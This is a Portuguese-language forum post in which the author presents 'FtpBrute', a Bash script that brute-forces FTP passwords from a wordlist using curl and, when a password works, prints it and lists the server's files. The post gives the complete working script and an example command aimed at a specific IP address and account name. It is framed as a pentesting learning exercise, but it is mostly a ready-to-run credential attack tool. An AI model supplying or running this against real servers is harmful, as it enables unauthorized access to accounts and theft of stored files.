Jump to content
Walderlan Sena

FtpBrute - Realize Brute force em servidores FTP com ShellScript

Recommended Posts

Ftp Brute

Tool to perform Brute Force Attack FTP

Explicação e para mais informações acesse:

https://github.com/WalderlanSena/ftpbrute

No processo de um pentest ou de uma analise profissional de vulnerabilidades em sistemas de informação, o profissional no caso o programador, pentest, Analista etc, nem sempre terá disponível aquela penca de ferramentas automatizadas e prontas para usar (Diga-se de passagem tem gente que fica viciadoO.o somente em usar as mesmas sem nem saber o que elas fazem por trás 9_9). E bastante interessante profissionais da área e entusiastas afim, saber desenvolver suas próprias ferramentas, não para reinventar a roda, mas para entender a fundo o que ela está fazendo. 

Então sabendo a potencialidade que o nosso amado Shell Script nos proporciona :D, desenvolvi um script que realiza um brute force em servidores FTP.

Este é o exemplo ao executar o script sem passar nenhum parâmetro ao mesmo.

exemplo1.thumb.png.acc797c6feaad86be61f123d7620ba36.png

 

O processo de autenticação em um servidor FTP funciona basicamente como qualquer outro, ou seja, se faz necessário o login e senha, o IP/PORT cujo deseja realizar a conexão. Caso a conexão seja bem sucedida o servidor retorna o código 230 e a (dos) listagem/arquivos do servidor.

Sabendo disto podemos utilizar uma lista de senha possíveis, uma vez sabendo o usuário o IP e a porta que por padrão é a 21, realizaremos o seguinte procedimento:

./ftpbrute.sh u268613182.admin ~/senhas 187.45.123.45 21

Passando o nome do software o usuário do servidor a wordlist (Cujo tem algumas disponíveis no repositório oficial no GITHUB)  o IP e a porta do servidor alvo.

#!/bin/bash

# FTPBrute - Tools to perform brute force
# Description :
# Use         : ./ftpbrute
# Developer   : Walderlan Sena - <https://www.mentesvirtuaissena.com>
# Email       : contato@mentesvirtuaissena.com
# LINCENSE    : Lincense GPL <http://gnu.org/lincense/gpl.html>


# Variaveis Globais
scriptversion="v1.0.0"

ok="\033[1;32m[ Start Attack ]\033[0m"
error="\033[1;31m[ ERROR ]\033[0m"
found="\033[1;32mPASSWORD FOUND »»»»»»»\033[0m"
notfound="\033[1;31mINVALID PASSWORD »»»»»»»\033[0m"

splash(){
    clear # Limpando a tela do terminal
    echo -e '''
    \033[1;31m
    _______ _______  _____  ______   ______ _     _ _______ _______
    |______    |    |_____] |_____] |_____/ |     |    |    |______
    |          |    |       |_____] |    \_ |_____|    |    |______
                                                             v1.0.0\033[0m
            \033[1;32m>>> Tool to perform Brute Force Attack FTP <<<\033[0m
              developer: Walderlan Sena <eu@walderlan.xyz>
               https://github.com/WalderlanSena/ftpbrute
    '''
}
usage="\
Usage: $0 [USER] [WORDLIST] [IP] [PORT]...
   or: $0 [USER] [WORDLIST] [IP] [PORT] [OPTIONS]
Options:
\t--help     display this help and exit.
\t--version  display version information and exit.
\t-i  install on your desktop in the /usr/bin/
Example of execution:
\t./ftpbrute.sh admin wordlist.txt 187.99.150.72 21
"
case $1 in
    --help)
        splash
        echo "$usage";;
    --version)
        echo -e "$scriptversion"
        exit;;
    -i)
    echo -e "\033[1;32m[ + ]\033[m Starting the installation on /usr/bin/"
    if sudo cp ftpbrute.sh /usr/bin/ftpbrute
    then
        echo -e "\033[1;32m[ OK ]\033[m Successfully installed on /usr/bin/ now carry out the software call,\n\n\t \033[46mApenas com 'ftpbrute [USER] [WORDLIST] [IP] [PORT]'\033[m\n"
        exit
    else
        echo -e "$error Unable to install..."
        exit
    fi
    echo "";;
    *)  echo "$usage";
esac
# Verificação do parâmetros passados
if [ ! -z "$1" ] && [ -e "$2" ] && [ ! -z "$3" ] && [ ! -z "$4" ]
then
    # Chamando a tela de splash
    splash
    # Obtendo a quantidadde de linhas da wordlist passada
    word=$(cat $2 | wc -l)
    echo -e "
    \t\t[ \033[1;34mWordlist:\033[0m $word  \033[1;34mInicio:\033[0m `date +"%T"` ]
    "
    echo -e ">>>>>>> $ok <<<<<<<"
    # Ralizando leitura da wordlist de senhas possiveis
    for password in $(cat $2)
    do
        # Realizando a requisição via curl
        result=$(curl -s -o /dev/null -w "%{http_code}" -u $1:$password ftp://$3:$4)
        # Se o returno foi um código 226, foi logado com sucesso
        if [ "$result" == "226" ]
        then
            # Se a senha for encontrada, exibe a mesma e lista os dirétorios e os arquivos do servidor atacado
            echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $found $password"
            # Listando os diretórios e os arquivos do servidor
            curl -s -u $1:$password ftp://$3:$4
            # Finalizando o laço e o script
            exit
        else
            # Caso não, continua o ataque
            echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $notfound $password"
        fi
    done
else
    # Chamando a tela de splash caso os argumentos sejam passados erroniamente
    splash
    echo -e "$usage"
fi

Que resultara basicamente na tela:

exemplo02.thumb.png.a306abb34051cbb41d89013dc0b66196.png

Após o inicio do ataque ao servidor o script realiza os teste até encontrar a senha correta do mesmo.

exemplo03.thumb.png.8e7311230e679f4b5279da2c98fdbf6b.png

 

Então galera é isso, espero que tenha gostado. O script ainda está em desenvolvimento, mas basicamente a funcionalidade principal é essa, talvez futuramente eu adicione mais alguma função. Dicas comentem ai. Vlw Tmj

 

^_^

Edited by Walderlan Sena
Correção ortográfica
  • Agradecer 1
  • Curtir 1

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...